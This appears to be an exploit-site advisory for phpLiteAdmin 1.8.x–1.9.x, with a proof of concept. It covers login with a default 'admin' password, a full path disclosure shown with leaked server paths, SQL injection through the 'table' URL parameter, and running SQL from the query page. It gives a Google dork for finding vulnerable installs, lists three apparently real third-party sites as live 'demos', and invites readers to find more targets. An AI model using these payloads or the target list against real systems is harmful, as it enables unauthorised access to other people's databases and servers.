phpLiteAdmin v1.8.x->1.9.x (SQLi/FD)

###
# Title : phpLiteAdmin v1.8.x->1.9.x (SQLi/FD) <= Multiple Vulnerabilities
# Author : KedAns-Dz
# E-mail : ked-h (@hotmail.com
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)
# Web Site : www.1337day.com .net .org
# FaCeb0ok : http://fb.me/Inj3ct0rK3d
# TwiTter : @kedans
# Friendly Sites : www.r00tw0rm.com * www.exploit-id.com
# Type : proof of concept - webapp 0day - remote - php
# Tested on : Windows7
# Download : [http://phpliteadmin.googlecode.com]
###

# <3 <3 Greetings t0 Palestine <3 <3
# F-ck HaCking, Lov3 Explo8ting !

######## [ Proof / Exploit ] ################|=>

# Google Dork :
# allintext:"Powered by phpLiteAdmin | "

##################
# [!] Description:
------------------
phpLiteAdmin is suffer from multiple vulnerabilities / bugs in
v1.8.x to-> 1.9.x , the attacker can use some bug in the Script
to inject some remote SQL command/code , and Disclosure the Full Path.
# Bugs :
#-------
# Authentication Bypass
# SQL Injection/Exec
# Full Path Disclosure
#######################

#### (1) Authentication Bypass :
--------------------------------

[!] php-code :
line 38->39 :::::::::::::::::
//password to gain access
$password = "admin";
:::::::::::::::::::::::::::::

- not affected on all targets, just change the password to fix it

[+] http://[target]/[path]/phpliteadmin.php
[*] password : admin

#### (2) Full Path Disclosure :
-------------------------------

[+] http://[target]/[path]/phpliteadmin.php?view=import
[!] & Import File with (NULL/Bad) Content =>
- you get some sql error msg with the full path of phpliteadmin.php

ex: '-------------
Warning: PDO::exec(): SQLSTATE[HY000]: General error:
trying to execute an empty query in C:\Program Files\EasyPHP-12.1\www\phpliteadmin.php on line 987
____________________________________

Warning: SQLiteDatabase::queryExec() [sqlitedatabase.queryexec]: Cannot execute empty query.
in /homepages/20/d421371141/htdocs/pauleschoen.com/cgi-bin/phpliteadmin.php on line 646
------------------'

proof image (http://i46.tinypic.com/ddmek5.png) # in local test
proof image (http://i49.tinypic.com/juepet.png) # in remote test

#### (3) SQL Injection :
------------------------

php-code ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
$query = "SELECT * FROM ".$db->quote_id($_GET['table'])." WHERE ROWID = ".$pks[$j];
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

[+] http://[target]/[path]/phpliteadmin.php?action=row_view&table='
[&] http://[target]/[path]/phpliteadmin.php?action=row_view&table=' [ SQLi ]

proof image (http://i46.tinypic.com/102p750.png)

#### (4) Exec SQL code :
------------------------

Go to :
[*] http://[target]/[path]/phpliteadmin.php?view=sql

-& put the SQL Code in the text-area (Run SQL query/queries :)
and click 'GO' to exec ;) .

## DeMo's :

http://www.pauleschoen.com/cgi-bin/phpliteadmin.php
http://urp.caezar.net/php/ThemeFrame/phpliteadmin.php
http://www.dbcreator.co.uk/pla3.php

!+ Find More targets in Google ^_^

# ThnX 2 (Jusqua la Morts) :D